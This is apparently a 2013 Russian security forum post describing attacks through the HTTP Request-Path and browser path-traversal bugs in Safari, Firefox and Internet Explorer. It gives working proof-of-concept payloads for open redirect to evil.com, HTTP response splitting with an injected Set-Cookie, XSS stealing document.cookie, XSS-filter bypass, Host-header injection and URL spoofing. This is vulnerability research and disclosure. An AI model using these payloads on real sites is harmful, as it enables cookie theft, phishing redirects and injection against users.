Атаки через Request-Path + Баги IE

2013-01-20T00:00:00
ID RDOT:2596
Type rdot
Reporter BlackFan
Modified 2013-01-20T00:00:00

Description

На эту тему скоро будет статейка на пару страниц (прим. Хакер, апрель 2013).
Идея ужасно банальная, но результат тестирования очень удивил (+ обнаружены интересные баги).

Зачастую при тестировании забывают, что небезопасно могут обрабатываться не только Get/Post/Cookie параметры, но и Request-URI / Request-Path.
По RFC-2616 Request-URI может быть представлен следующим образом:

Код:

Request-URI = "*" | absoluteURI | abs_path | authority

abs_path можно разбить условно на:

Код:

abs_path = "/" [path] ["/" path_info] [";" params] ["?" query_string]

Самой интересной частью, на мой взгляд, является Request-Path, так как:
1) Веб-приложения часто используют Request-Path/Request-URI и меньше всего ожидают увидеть там вектора атаки
2) Веб-серверы нормализуют путь перед обработкой (не все), таким образом, в Request-Path можно передать произвольные данные и используя path-traversal все равно обратится к уязвимому скрипту.
3) Браузеры перед отправкой нормализуют Request-Path и вырезают path-traversal конструкции.

Ошибки обработки path-traversal в популярных браузерах

1) Safari (в том числе мобильные версии) не вырезают path-traversal если точки представлены в URL-encode формате

Код:

http://test/evil_code/%2e%2e/script

2) FireFox не вырезает path-traversal конструкцию в конце Request-Path, если точки представлены в URL-encode формате и на конце нет символа «/».

Код:

http://test/script/evil_code/%2e%2e

3) Internet Explorer ошибка обработки Location - будет рассмотрено в конце.

Разница обработки спец-символов в Request-Path

Возможные варианты атак

Большинство атак возможно за счет использования сокращенной записи ссылки без указания url-scheme.
Абсолютно все перечисленные виды встретил в реальных условиях.

Open Redirect (Safari, FireFox*)

Код:

Location: [Request-Path]/new

http://example.com//evil.com/%2E%2E

Location: //evil.com/%2E%2E/new

UI Redress Attack (Safari, FireFox, IE*)
Очень часто этим страдают формы авторизации. + через такую атаку удобно получать CSRF токен (в случае, если он 1 на всю сессию).

Код:

<form action="[Request-Path]/login">

http://example.com//evil.com/%2E%2E

<form action="//evil.com/%2E%2E/login">

HTTP Response Splitting (Safari, FireFox, IE*)
Дополнительное условие - URL-decode. Тоже довольно часто встречается в реальной жизне, особенно в перенаправлениях с http на https и с /folder, на /folder/

Код:

Location: http://example.com[Request-Path]/new

http://example.com/%0ASet-Cookie:x=x%0AX:/%2E%2E

Location: http://example.com/
Set-Cookie:x=x
X:/new

Cross Site Scripting
Пример 1 (Safari, IE**)

Код:

<script>var url = '[Request-Path]';</script>

http://example.com/'+alert(document.cookie)+'/%2E%2E

<script>var url = ''+alert(document.cookie)+'/%2E%2E';</script>

Пример 2 (Очень популярный вариант, IE**)

Код:

<link rel="canonical" href="http://example.com[Request-Path]"/>

http://example.com/"><img/src='x'onerror=alert(1)>/%2E%2E/%2E%2E/

<link rel="canonical" href="http://example.com"><img/src='x'onerror=alert(1)>/%2E%2E/%2E%2E/"/>

Ошибка обработки Location браузером Internet Explorer (5.5 - 10.0)

Часть №1

При перенаправлении заголовком Location IE использует Request-Path без необходимых обработок.
Таким образом возможно:
1) Использовать path-traversal в пути
2) Использовать произвольные символы, не нарушающие стартовую строку HTTP запроса в Request-Path без url-encode (включая управляющие [0x01 - 0x1F] и символы необходимые для XSS <>'")
3) Обход XSS фильтра при передаче вектора через Request-Path

Тестовый скрипт:

Код:

index.jsp
&lt;%= request.getRequestURI() %&gt;

Обычное обращение к скрипту с передачей payload через параметры

Код:

http://localhost/xss/;&lt;img src='x'onerror=alert(1)&gt;

Код:

/xss/;%3Cimg%20src='x'#nerror=alert(1)%3E

Срабатывание XSS фильтра, url-encode символов

Обращение к скрипту через перенаправление с передачей payload через параметры

Код:

redirect-1.jsp
&lt;%
response.sendRedirect("http://localhost/xss/;&lt;img src='x'onerror=alert(1)&gt;");
%&gt;

Location: http://localhost/xss/;&lt;img src='x'onerror=alert(1)&gt;

Код:

/xss/;&lt;img%20src='x'#nerror=alert(1)&gt;

Срабатывание XSS фильтра, обход url-encode символов

Обращение к скрипту через перенаправление с использованием path-traversal конструкций

Код:

redirect-2.jsp
&lt;%
response.sendRedirect("http://localhost/xss/&lt;img/src='x'onerror=alert(1)&gt;/%2e%2e/%2e%2e/");
%&gt;

Перед попаданием в Address bar путь повторно проходит обработку и наш payload вырезается, таким образом XSS фильтр его не обнаруживает, но в запросе он есть.

Часть №2

При перенаправлении заголовком Location IE производит некорректно декодирование URL-encode хоста.

Пример:

Код:

Location: http://%77%77%77%2E%6D%69%63%72%6F%73%6F%66%74%2E%63%6F%6D/test

1. Оригинальный host
%77%77%77%2E%6D%69%63%72%6F%73%6F%66%74%2E%63%6F%6D

2. Декодирование
www.microsoft.com

3. Наложение декодированного значения на оригинальное
www.microsoft.com9%63%72%6F%73%6F%66%74%2E%63%6F%6D

4. Результирующий запрос
http://www.microsoft.com9crosoft.com/test

Данную уязвимость можно использовать аналогично предыдущей, для обхода XSS фильтра и передачи данных без url-encode в Request-Path, а так же для передачи произвольных данных в Host заголовке, Port Spoofing и частично для URL Spoofing.
При добавление в URL-кодированный хост символа %2F (/) в запросе летят некорректные данные, а сам запрос отправляется на корректно декодированный хост.

Cross-Site Scripting через Request-Path

Необходимо, чтобы веб-сервер корректно обрабатывал спец-символы в заголовке Host

Код:

index.jsp
&lt;%= request.getRequestURI() %&gt;

redirect-3.jsp
&lt;%
response.sendRedirect("http://localhost%2Fx%2F%3cimg%2Fonerror='alert(1)'src=x%3e%2f.%2e%2f.%2e%2f%3f");
%&gt;

Код:

HTTP Response:
HTTP/1.1 302 Moved Temporarily
Location: http://localhost%2Fx%2F%3cimg%2Fonerror='alert(1)'src=x%3e%2f%2e%2e%2f.%2e%2f%3f

HTTP Request:
GET /x/&lt;img/onerror='alert(1)'src=x&gt;/../../?3e%2f%2e%2e%2f.%2e%2f%3f/ HTTP/1.1
Host: localhost/x/&lt;img/onerror='alert(1)'src=x&gt;/../../?

Результат:
Передача некорректного заголовока Host, обход XSS фильтра, обход url-encode

Код:

/x/&lt;img/onerror='alert(1)'src=x&gt;/../../

Cross-Site Scripting через заголовок Host

Необходимо, чтобы веб-сервер корректно обрабатывал спец-символы в заголовке Host

Код:

index.jsp
&lt;%= request.getServerName() %&gt;

redirect-4.jsp
&lt;%
response.sendRedirect("http://localhost%2fx%2f%3f%23&lt;img%2fsrc='x'onerror=alert(1)&gt;");
%&gt;

Код:

HTTP Response:
HTTP/1.1 302 Moved Temporarily
Location: http://localhost%2fx%2f%3f%23&lt;img%2fsrc='x'onerror=alert(1)&gt;

HTTP Request:
GET /x/?#&lt;img/src='x'onerror=alert(1)&gt;=alert(1)&gt;/ HTTP/1.1
Host: localhost/x/?#&lt;img/src='x'onerror=alert(1)&gt;

Результат:
Передача некорректного заголовока Host, обход XSS фильтра

Код:

localhost/x/?#&lt;img/src='x'onerror=alert(1)&gt;

Port Spoofing

Код:

redirect-5.jsp
&lt;%
response.sendRedirect("http://www.microsoft.com%3a80/en-us/default.aspx");
%&gt;

Результат:
Запрос отсылается на microsoft.com:80, но в адресной строке отображается microsoft.com:8080 (Происходит из-за наложения при декодировании, пример смотри выше).
Это очень хорошо подошло бы для обхода SOP, но фишка в том, что в IE нет никаких ограничений для сайтов на разных портах и такой спуфинг ничего не дает

URL Spoofing

В случае, если на одном IP-адресе 2 сайта.

Код:

http://example.com/  -  отвечает на любой Host
http://another.com/  -  отвечает только на another.com

Код:

redirect-6.jsp
&lt;%
response.sendRedirect("http://another.com%2F");
%&gt;

Код:

HTTP Request:
GET / HTTP/1.1
Host: another.com/

Результат:
Так как в Host стоит дополнительный символ, на данный запрос будет отвечать example.com вместо another.com, но в Address Bar будет корректно отображаться another.com